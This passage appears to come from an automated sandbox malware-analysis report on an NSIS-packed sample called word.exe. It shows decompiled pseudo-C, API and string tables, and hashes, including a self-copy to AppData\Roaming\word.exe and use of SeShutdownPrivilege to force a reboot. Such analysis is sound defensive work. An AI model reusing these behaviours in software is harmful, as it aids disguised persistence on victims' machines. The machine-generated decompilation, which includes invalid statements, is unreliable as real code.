							if(_t178 != _t188) {
								goto L24;
							}
							goto L23;
						}
					} else {
						goto L16;
					}
					do {
						L16:
						_t198 = _t198 + 2;
						__eflags =  *_t198 - _t209;
					} while ( *_t198 == _t209);
					goto L17;
				}
				goto L37;
			}

0x0040364e
0x0040364f
0x00403656
0x00403659
0x00403660
0x00403663
0x00403676
0x0040367c
0x0040367f
0x00403682
0x00403690
0x00403698
0x004036a3
0x004036bc
0x004036be
0x004036c6
0x004036c6
0x004036d1
0x004036d3
0x004036d3
0x004036e8
0x0040370d
0x0040371b
0x0040371e
0x00403725
0x0040372c
0x0040372c
0x00403725
0x0040372e
0x00403733
0x00403734
0x00403740
0x00403744
0x0040374b
0x00403759
0x0040375e
0x00403765
0x00403769
0x0040376d
0x0040376f
0x0040376f
0x0040376d
0x00403776
0x0040377d
0x00403783
0x0040379b
0x004037ab
0x004037bd
0x004037c4
0x004037c6
0x004037c7
0x004037d8
0x004037dc
0x004037dc
0x004037ef
0x004037f1
0x004038eb
0x004038eb
0x004038ee
0x004038f1
0x00000000
0x00000000
0x004037fb
0x004037fc
0x004037ff
0x00403808
0x00403808
0x0040380b
0x0040380e
0x00403811
0x00403814
0x00403814
0x00403814
0x00403815
0x00403819
0x004038d9
0x004038e2
0x004038e4
0x004038e7
0x004038ea
0x004038ea
0x004038ea
0x00000000
0x0040381f
0x00403820
0x00403821
0x00403825
0x0040383f
0x00403846
0x00403859
0x0040385a
0x0040386f
0x00403874
0x00403876
0x00403878
0x00403894
0x0040389b
0x004038ae
0x004038af
0x004038c4
0x004038ca
0x004038cc
0x004038ce
0x004038d6
0x004038d8
0x00000000
0x004038d8
0x004038d2
0x004038d4
0x004038f9
0x004038fd
0x00403906
0x0040390b
0x00403911
0x0040391c
0x0040391e
0x00403923
0x00403925
0x0040397d
0x00403982
0x0040398b
0x00403992
0x00403995
0x00403b6c
0x00403b6c
0x00403b71
0x00403b7a
0x00403b97
0x00403c0f
0x00403c0f
0x00403c17
0x00403c19
0x00403c19
0x00403c1f
0x00403c1f
0x00403bae
0x00403bba
0x00403bcb
0x00403bd2
0x00403bd9
0x00403bd9
0x00403be1
0x00403bed
0x00403bfb
0x00403c06
0x00000000
0x00000000
0x00000000
0x00403bef
0x00403bef
0x00403bf0
0x00403bf2
0x00403bf3
0x00403bf4
0x00403bf9
0x00403c08
0x00403c0a
0x00000000
0x00403c0a
0x00000000
0x00403bf9
0x00403bed
0x00403b84
0x00403b8b
0x00403b8b
0x004039a1
0x00403a48
0x00403a48
0x00403a54
0x00000000
0x00403a54
0x004039b2
0x004039ba
0x00403a0c
0x00403a0c
0x00403a12
0x00403a19
0x00403a67
0x00403a69
0x00403a6e
0x00403a70
0x00403a78
0x00403a78
0x00403a83
0x00403a8f
0x00403a95
0x00403a97
0x00403b6a
0x00403b6a
0x00403b6a
0x00000000
0x00403a9d
0x00403a9d
0x00403a9f
0x00403aa0
0x00403aa9
0x00403aa2
0x00403aa2
0x00403aa2
0x00403aaf
0x00403ab7
0x00403abe
0x00403ac6
0x00403ac6
0x00403ad3
0x00403adf
0x00403ae9
0x00403ae9
0x00403aeb
0x00403af2
0x00403afc
0x00403b08
0x00403b0e
0x00403b14
0x00403b17
0x00403b21
0x00403b27
0x00403b29
0x00403b2d
0x00403b3e
0x00403b44
0x00403b49
0x00403b4b
0x00403b4e
0x00403b54
0x00403b54
0x00403b4b
0x00403b29
0x00403b57
0x00403b5e
0x00403b5e
0x00403b5e
0x00403b5e
0x00403b65
0x00000000
0x00403b65
0x00403a97
0x00403a1b
0x00403a1e
0x00403a22
0x00403a27
0x00403a29
0x00000000
0x00000000
0x00403a35
0x00403a40
0x00403a45
0x00000000
0x00403a45
0x004039c3
0x004039db
0x004039ec
0x004039ed
0x004039f1
0x004039f3
0x00403a01
0x00403a08
0x00000000
0x00000000
0x00000000
0x00403a08
0x00403a0a
0x00000000
0x00403a0a
0x0040392d
0x00403939
0x0040393e
0x00403943
0x00403945
0x00000000
0x00000000
0x0040394d
0x00403955
0x00403966
0x0040396e
0x00403970
0x00403975
0x00403977
0x00000000
0x00000000
0x00000000
0x00403977
0x00000000
0x004038d4
0x0040387d
0x0040387f
0x00000000
0x00000000
0x00403881
0x00403885
0x00403889
0x00403890
0x00403890
0x00403890
0x00403890
0x00000000
0x00403890
0x0040388b
0x0040388e
0x00000000
0x00000000
0x00000000
0x0040388e
0x00403827
0x0040382b
0x0040382e
0x00403835
0x00403835
0x00000000
0x00403835
0x00403830
0x00403833
0x00000000
0x00000000
0x00000000
0x00403833
0x00000000
0x00000000
0x00000000
0x00403801
0x00403801
0x00403802
0x00403803
0x00403803
0x00000000
0x00403801
0x00000000

APIs

SetErrorMode.KERNELBASE(00008001), ref: 00403663
GetVersionExW.KERNEL32(?), ref: 0040368C
GetVersionExW.KERNEL32(0000011C), ref: 004036A3
lstrlenA.KERNEL32(UXTHEME,UXTHEME), ref: 0040373A
#17.COMCTL32(00000007,00000009,0000000B), ref: 00403776
OleInitialize.OLE32(00000000), ref: 0040377D
SHGetFileInfoW.SHELL32(00421708,00000000,?,000002B4,00000000), ref: 0040379B
GetCommandLineW.KERNEL32(00429260,NSIS Error), ref: 004037B0
CharNextW.USER32(00000000), ref: 004037E9
GetTempPathW.KERNEL32(00000400,C:\Users\user\AppData\Local\Temp\), ref: 0040391C
GetWindowsDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,000003FB), ref: 0040392D
lstrcatW.KERNEL32 ref: 00403939
GetTempPathW.KERNEL32(000003FC,C:\Users\user\AppData\Local\Temp\), ref: 0040394D
lstrcatW.KERNEL32 ref: 00403955
SetEnvironmentVariableW.KERNEL32(TEMP,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,Low), ref: 00403966
SetEnvironmentVariableW.KERNEL32(TMP,C:\Users\user\AppData\Local\Temp\), ref: 0040396E
DeleteFileW.KERNELBASE(1033), ref: 00403982
lstrcatW.KERNEL32 ref: 00403A69
lstrcatW.KERNEL32 ref: 00403A78

Part of subcall function 00405C16: CreateDirectoryW.KERNELBASE(?,00000000,00403633,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403923), ref: 00405C1C

lstrcatW.KERNEL32 ref: 00403A83
lstrcmpiW.KERNEL32(C:\Users\user\AppData\Local\Temp\,00436800,C:\Users\user\AppData\Local\Temp\,.tmp,C:\Users\user\AppData\Local\Temp\,~nsu,00435000,00000000,?), ref: 00403A8F
SetCurrentDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\), ref: 00403AAF
DeleteFileW.KERNEL32(00420F08,00420F08,?,0042B000,?), ref: 00403B0E
CopyFileW.KERNEL32 ref: 00403B21
CloseHandle.KERNEL32(00000000), ref: 00403B4E
ExitProcess.KERNELBASE(?), ref: 00403B6C
OleUninitialize.OLE32 ref: 00403B71
ExitProcess.KERNEL32 ref: 00403B8B
GetCurrentProcess.KERNEL32(00000028,?), ref: 00403B9F
OpenProcessToken.ADVAPI32(00000000), ref: 00403BA6
LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 00403BBA
AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000), ref: 00403BD9
ExitWindowsEx.USER32(00000002,80040002), ref: 00403BFE
ExitProcess.KERNEL32 ref: 00403C1F

Strings

SeShutdownPrivilege, xrefs: 00403BB4
C:\Users\user\AppData\Local\Temp\, xrefs: 00403911, 00403916, 0040392C, 00403938, 00403947, 00403954, 00403960, 00403968, 00403A66, 00403A77, 00403A82, 00403A8E, 00403A9F, 00403AAE, 00403B64
Error writing temporary file. Make sure your temp folder is valid., xrefs: 00403659
UXTHEME, xrefs: 0040372E, 00403733, 00403739
.tmp, xrefs: 00403A7D
NSIS Error, xrefs: 004037A1
Low, xrefs: 0040394F
TEMP, xrefs: 00403961
\Temp, xrefs: 00403933
~nsu, xrefs: 00403A61
TMP, xrefs: 00403969
1033, xrefs: 0040397D
Error launching installer, xrefs: 00403A12
C:\Users\user\AppData\Roaming\word.exe, xrefs: 00403B1C

Memory Dump Source

Source File: 00000005.00000002.987514881.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.987509042.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987527452.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000427000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000437000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000043B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000043E000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000044B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.0000000000455000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: Processlstrcat$ExitFile$Directory$CurrentDeleteEnvironmentPathTempTokenVariableVersionWindows$AdjustCharCloseCommandCopyCreateErrorHandleInfoInitializeLineLookupModeNextOpenPrivilegePrivilegesUninitializeValuelstrcmpilstrlen
String ID: .tmp$1033$C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Roaming\word.exe$Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Low$NSIS Error$SeShutdownPrivilege$TEMP$TMP$UXTHEME$\Temp$~nsu
API String ID: 2292928366-1826018249
Opcode ID: e0a8c6016783217a32738e87f4e0326041da0509f66f4411adb9540052cd23fd
Instruction ID: d56582c8b11bee4b9d4e83ad1f604629a9588d533935b381636b20c84fba3529
Opcode Fuzzy Hash: e0a8c6016783217a32738e87f4e0326041da0509f66f4411adb9540052cd23fd
Instruction Fuzzy Hash: D4E1F471A00214AADB20AFB58D45A6E3EB8EB05709F50847FF945B32D1DB7C8A41CB6D

Uniqueness

Uniqueness Score: -1.00%

Function 00405D74 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 148
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 98%

			E00405D74(void* __eflags, signed int _a4, signed int _a8) {
				signed int _v8;
				signed int _v12;
				short _v556;
				short _v558;
				struct _WIN32_FIND_DATAW _v604;
				signed int _t38;
				signed int _t52;
				signed int _t55;
				signed int _t62;
				void* _t64;
				signed char _t65;
				WCHAR* _t66;
				void* _t67;
				WCHAR* _t68;
				void* _t70;

				_t65 = _a8;
				_t68 = _a4;
				_v8 = _t65 & 0x00000004;
				_t38 = E0040603F(__eflags, _t68);
				_v12 = _t38;
				if((_t65 & 0x00000008) != 0) {
					_t62 = DeleteFileW(_t68); // executed
					asm("sbb eax, eax");
					_t64 =  ~_t62 + 1;
					 *0x42a2e8 =  *0x42a2e8 + _t64;
					return _t64;
				}
				_a4 = _t65;
				_t8 =  &_a4;
				 *_t8 = _a4 & 0x00000001;
				__eflags =  *_t8;
				if( *_t8 == 0) {
					L5:
					E00406668(0x425750, _t68);
					__eflags = _a4;
					if(_a4 == 0) {
						E00405F83(_t68);
					} else {
						lstrcatW(0x425750, L"\\*.*");
					}
					__eflags =  *_t68;
					if( *_t68 != 0) {
						L10:
						lstrcatW(_t68, 0x40a014);
						L11:
						_t66 =  &(_t68[lstrlenW(_t68)]);
						_t38 = FindFirstFileW(0x425750,  &_v604); // executed
						_t70 = _t38;
						__eflags = _t70 - 0xffffffff;
						if(_t70 == 0xffffffff) {
							L26:
							__eflags = _a4;
							if(_a4 != 0) {
								_t30 = _t66 - 2;
								 *_t30 =  *(_t66 - 2) & 0x00000000;
								__eflags =  *_t30;
							}
							goto L28;
						} else {
							goto L12;
						}
						do {
							L12:
							__eflags = _v604.cFileName - 0x2e;
							if(_v604.cFileName != 0x2e) {
								L16:
								E00406668(_t66,  &(_v604.cFileName));
								__eflags = _v604.dwFileAttributes & 0x00000010;
								if(__eflags == 0) {
									_t52 = E00405D2C(__eflags, _t68, _v8);
									__eflags = _t52;
									if(_t52 != 0) {
										E004056CA(0xfffffff2, _t68);
									} else {
										__eflags = _v8 - _t52;
										if(_v8 == _t52) {
											 *0x42a2e8 =  *0x42a2e8 + 1;
										} else {
											E004056CA(0xfffffff1, _t68);
											E00406428(_t67, _t68, 0);
										}
									}
								} else {
									__eflags = (_a8 & 0x00000003) - 3;
									if(__eflags == 0) {
										E00405D74(__eflags, _t68, _a8);
									}
								}
								goto L24;
							}
							__eflags = _v558;
							if(_v558 == 0) {
								goto L24;
							}
							__eflags = _v558 - 0x2e;
							if(_v558 != 0x2e) {
								goto L16;
							}
							__eflags = _v556;
							if(_v556 == 0) {
								goto L24;
							}
							goto L16;
							L24:
							_t55 = FindNextFileW(_t70,  &_v604); // executed
							__eflags = _t55;
						} while (_t55 != 0);
						_t38 = FindClose(_t70); // executed
						goto L26;
					}
					__eflags =  *0x425750 - 0x5c;
					if( *0x425750 != 0x5c) {
						goto L11;
					}
					goto L10;
				} else {
					__eflags = _t38;
					if(_t38 == 0) {
						L28:
						__eflags = _a4;
						if(_a4 == 0) {
							L36:
							return _t38;
						}
						__eflags = _v12;
						if(_v12 != 0) {
							_t38 = E0040699E(_t68);
							__eflags = _t38;
							if(_t38 == 0) {
								goto L36;
							}
							E00405F37(_t68);
							_t38 = E00405D2C(__eflags, _t68, _v8 | 0x00000001);
							__eflags = _t38;
							if(_t38 != 0) {
								return E004056CA(0xffffffe5, _t68);
							}
							__eflags = _v8;
							if(_v8 == 0) {
								goto L30;
							}
							E004056CA(0xfffffff1, _t68);
							return E00406428(_t67, _t68, 0);
						}
						L30:
						 *0x42a2e8 =  *0x42a2e8 + 1;
						return _t38;
					}
					__eflags = _t65 & 0x00000002;
					if((_t65 & 0x00000002) == 0) {
						goto L28;
					}
					goto L5;
				}
			}

0x00405d7e
0x00405d83
0x00405d8c
0x00405d8f
0x00405d97
0x00405d9a
0x00405d9d
0x00405da5
0x00405da7
0x00405da8
0x00000000
0x00405da8
0x00405db3
0x00405db6
0x00405db6
0x00405db6
0x00405dba
0x00405dcd
0x00405dd4
0x00405dd9
0x00405ddd
0x00405ded
0x00405ddf
0x00405de5
0x00405de5
0x00405df2
0x00405df6
0x00405e02
0x00405e08
0x00405e0d
0x00405e13
0x00405e1e
0x00405e24
0x00405e26
0x00405e29
0x00405ed3
0x00405ed3
0x00405ed7
0x00405ed9
0x00405ed9
0x00405ed9
0x00405ed9
0x00000000
0x00000000
0x00000000
0x00000000
0x00405e2f
0x00405e2f
0x00405e2f
0x00405e37
0x00405e57
0x00405e5f
0x00405e64
0x00405e6b
0x00405e86
0x00405e8b
0x00405e8d
0x00405eb1
0x00405e8f
0x00405e8f
0x00405e92
0x00405ea6
0x00405e94
0x00405e97
0x00405e9f
0x00405e9f
0x00405e92
0x00405e6d
0x00405e73
0x00405e75
0x00405e7b
0x00405e7b
0x00405e75
0x00000000
0x00405e6b
0x00405e39
0x00405e41
0x00000000
0x00000000
0x00405e43
0x00405e4b
0x00000000
0x00000000
0x00405e4d
0x00405e55
0x00000000
0x00000000
0x00000000
0x00405eb6
0x00405ebe
0x00405ec4
0x00405ec4
0x00405ecd
0x00000000
0x00405ecd
0x00405df8
0x00405e00
0x00000000
0x00000000
0x00000000
0x00405dbc
0x00405dbc
0x00405dbe
0x00405ede
0x00405ee0
0x00405ee3
0x00405f34
0x00405f34
0x00405f34
0x00405ee5
0x00405ee8
0x00405ef3
0x00405ef8
0x00405efa
0x00000000
0x00000000
0x00405efd
0x00405f09
0x00405f0e
0x00405f10
0x00000000
0x00405f2b
0x00405f12
0x00405f15
0x00000000
0x00000000
0x00405f1a
0x00000000
0x00405f21
0x00405eea
0x00405eea
0x00000000
0x00405eea
0x00405dc4
0x00405dc7
0x00000000
0x00000000
0x00000000
0x00405dc7

APIs

DeleteFileW.KERNELBASE(?,?,7556D4C4,755513E0,00000000), ref: 00405D9D
lstrcatW.KERNEL32 ref: 00405DE5
lstrcatW.KERNEL32 ref: 00405E08
lstrlenW.KERNEL32(?,?,0040A014,?,C:\Users\user\AppData\Local\Temp\nso9272.tmp\*.*,?,?,7556D4C4,755513E0,00000000), ref: 00405E0E
FindFirstFileW.KERNELBASE(C:\Users\user\AppData\Local\Temp\nso9272.tmp\*.*,?,?,?,0040A014,?,C:\Users\user\AppData\Local\Temp\nso9272.tmp\*.*,?,?,7556D4C4,755513E0,00000000), ref: 00405E1E
FindNextFileW.KERNELBASE(00000000,00000010,000000F2,?,?,?,?,0000002E), ref: 00405EBE
FindClose.KERNELBASE(00000000), ref: 00405ECD

Strings

C:\Users\user\AppData\Local\Temp\nso9272.tmp\*.*, xrefs: 00405DCD, 00405DD3, 00405DE4, 00405E1D
\*.*, xrefs: 00405DDF
., xrefs: 00405E43
., xrefs: 00405E2F

Memory Dump Source

Source File: 00000005.00000002.987514881.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.987509042.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987527452.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000427000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000437000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000043B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000043E000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000044B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.0000000000455000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: .$.$C:\Users\user\AppData\Local\Temp\nso9272.tmp\*.*$\*.*
API String ID: 2035342205-3901916945
Opcode ID: eb4081a649fdbb44c8907daec76b44e1c805ca5b036c6d0867ef95af4715127c
Instruction ID: 3801e3340fbbb9c460ab277ab089a7ece50ce31247a5b640c745bca9484d7288
Opcode Fuzzy Hash: eb4081a649fdbb44c8907daec76b44e1c805ca5b036c6d0867ef95af4715127c
Instruction Fuzzy Hash: 46410330800A15AADB21AB61CC49BBF7678EF41715F50413FF881711D1DB7C4A82CEAE

Uniqueness

Uniqueness Score: -1.00%

Function 00406D5F Relevance: 5.4, APIs: 4, Instructions: 382
COMMONCrypto

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 98%

			E00406D5F() {
				unsigned short _t531;
				signed int _t532;
				void _t533;
				void* _t534;
				signed int _t535;
				signed int _t565;
				signed int _t568;
				signed int _t590;
				signed int* _t607;
				void* _t614;

				L0:
				while(1) {
					L0:
					if( *(_t614 - 0x40) != 0) {
						 *(_t614 - 0x34) = 1;
						 *(_t614 - 0x84) = 7;
						_t607 =  *(_t614 - 4) + 0x180 +  *(_t614 - 0x38) * 2;
						L132:
						 *(_t614 - 0x54) = _t607;
						L133:
						_t531 =  *_t607;
						_t590 = _t531 & 0x0000ffff;
						_t565 = ( *(_t614 - 0x10) >> 0xb) * _t590;
						if( *(_t614 - 0xc) >= _t565) {
							 *(_t614 - 0x10) =  *(_t614 - 0x10) - _t565;
							 *(_t614 - 0xc) =  *(_t614 - 0xc) - _t565;
							 *(_t614 - 0x40) = 1;
							_t532 = _t531 - (_t531 >> 5);
							 *_t607 = _t532;
						} else {
							 *(_t614 - 0x10) = _t565;
							 *(_t614 - 0x40) =  *(_t614 - 0x40) & 0x00000000;
							 *_t607 = (0x800 - _t590 >> 5) + _t531;
						}
						if( *(_t614 - 0x10) >= 0x1000000) {
							L139:
							_t533 =  *(_t614 - 0x84);
							L140:
							 *(_t614 - 0x88) = _t533;
							goto L1;
						} else {
							L137:
							if( *(_t614 - 0x6c) == 0) {
								 *(_t614 - 0x88) = 5;
								goto L170;
							}
							 *(_t614 - 0x10) =  *(_t614 - 0x10) << 8;
							 *(_t614 - 0x6c) =  *(_t614 - 0x6c) - 1;
							 *(_t614 - 0x70) =  &(( *(_t614 - 0x70))[1]);
							 *(_t614 - 0xc) =  *(_t614 - 0xc) << 0x00000008 |  *( *(_t614 - 0x70)) & 0x000000ff;
							goto L139;
						}
					} else {
						__eax =  *(__ebp - 0x5c) & 0x000000ff;
						__esi =  *(__ebp - 0x60);
						__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
						__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
						__ecx =  *(__ebp - 0x3c);
						__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
						__ecx =  *(__ebp - 4);
						(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
						__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
						__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
						 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
						if( *(__ebp - 0x38) >= 4) {
							if( *(__ebp - 0x38) >= 0xa) {
								_t97 = __ebp - 0x38;
								 *_t97 =  *(__ebp - 0x38) - 6;
							} else {
								 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
							}
						} else {
							 *(__ebp - 0x38) = 0;
						}
						if( *(__ebp - 0x34) == __edx) {
							__ebx = 0;
							__ebx = 1;
							L60:
							__eax =  *(__ebp - 0x58);
							__edx = __ebx + __ebx;
							__ecx =  *(__ebp - 0x10);
							__esi = __edx + __eax;
							__ecx =  *(__ebp - 0x10) >> 0xb;
							__ax =  *__esi;
							 *(__ebp - 0x54) = __esi;
							__edi = __ax & 0x0000ffff;
							__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
							if( *(__ebp - 0xc) >= __ecx) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
								__cx = __ax;
								_t216 = __edx + 1; // 0x1
								__ebx = _t216;
								__cx = __ax >> 5;
								 *__esi = __ax;
							} else {
								 *(__ebp - 0x10) = __ecx;
								0x800 = 0x800 - __edi;
								0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
								__ebx = __ebx + __ebx;
								 *__esi = __cx;
							}
							 *(__ebp - 0x44) = __ebx;
							if( *(__ebp - 0x10) >= 0x1000000) {
								L59:
								if(__ebx >= 0x100) {
									goto L54;
								}
								goto L60;
							} else {
								L57:
								if( *(__ebp - 0x6c) == 0) {
									 *(__ebp - 0x88) = 0xf;
									goto L170;
								}
								__ecx =  *(__ebp - 0x70);
								__eax =  *(__ebp - 0xc);
								 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
								__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
								 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
								 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
								_t202 = __ebp - 0x70;
								 *_t202 =  *(__ebp - 0x70) + 1;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
								goto L59;
							}
						} else {
							__eax =  *(__ebp - 0x14);
							__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
							if(__eax >=  *(__ebp - 0x74)) {
								__eax = __eax +  *(__ebp - 0x74);
							}
							__ecx =  *(__ebp - 8);
							__ebx = 0;
							__ebx = 1;
							__al =  *((intOrPtr*)(__eax + __ecx));
							 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
							L40:
							__eax =  *(__ebp - 0x5b) & 0x000000ff;
							 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
							__ecx =  *(__ebp - 0x58);
							__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
							 *(__ebp - 0x48) = __eax;
							__eax = __eax + 1;
							__eax = __eax << 8;
							__eax = __eax + __ebx;
							__esi =  *(__ebp - 0x58) + __eax * 2;
							 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
							__ax =  *__esi;
							 *(__ebp - 0x54) = __esi;
							__edx = __ax & 0x0000ffff;
							__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
							if( *(__ebp - 0xc) >= __ecx) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
								__cx = __ax;
								 *(__ebp - 0x40) = 1;
								__cx = __ax >> 5;
								__ebx = __ebx + __ebx + 1;
								 *__esi = __ax;
							} else {
								 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
								 *(__ebp - 0x10) = __ecx;
								0x800 = 0x800 - __edx;
								0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
								__ebx = __ebx + __ebx;
								 *__esi = __cx;
							}
							 *(__ebp - 0x44) = __ebx;
							if( *(__ebp - 0x10) >= 0x1000000) {
								L38:
								__eax =  *(__ebp - 0x40);
								if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
									while(1) {
										if(__ebx >= 0x100) {
											break;
										}
										__eax =  *(__ebp - 0x58);
										__edx = __ebx + __ebx;
										__ecx =  *(__ebp - 0x10);
										__esi = __edx + __eax;
										__ecx =  *(__ebp - 0x10) >> 0xb;
										__ax =  *__esi;
										 *(__ebp - 0x54) = __esi;
										__edi = __ax & 0x0000ffff;
										__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
										if( *(__ebp - 0xc) >= __ecx) {
											 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
											__cx = __ax;
											_t169 = __edx + 1; // 0x1
											__ebx = _t169;
											__cx = __ax >> 5;
											 *__esi = __ax;
										} else {
											 *(__ebp - 0x10) = __ecx;
											0x800 = 0x800 - __edi;
											0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
											__ebx = __ebx + __ebx;
											 *__esi = __cx;
										}
										 *(__ebp - 0x44) = __ebx;
										if( *(__ebp - 0x10) < 0x1000000) {
											L45:
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xe;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t155 = __ebp - 0x70;
											 *_t155 =  *(__ebp - 0x70) + 1;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
										}
									}
									L53:
									_t172 = __ebp - 0x34;
									 *_t172 =  *(__ebp - 0x34) & 0x00000000;
									L54:
									__al =  *(__ebp - 0x44);
									 *(__ebp - 0x5c) =  *(__ebp - 0x44);
									L55:
									if( *(__ebp - 0x64) == 0) {
										 *(__ebp - 0x88) = 0x1a;
										goto L170;
									}
									__ecx =  *(__ebp - 0x68);
									__al =  *(__ebp - 0x5c);
									__edx =  *(__ebp - 8);
									 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
									 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
									 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
									 *( *(__ebp - 0x68)) = __al;
									__ecx =  *(__ebp - 0x14);
									 *(__ecx +  *(__ebp - 8)) = __al;
									__eax = __ecx + 1;
									__edx = 0;
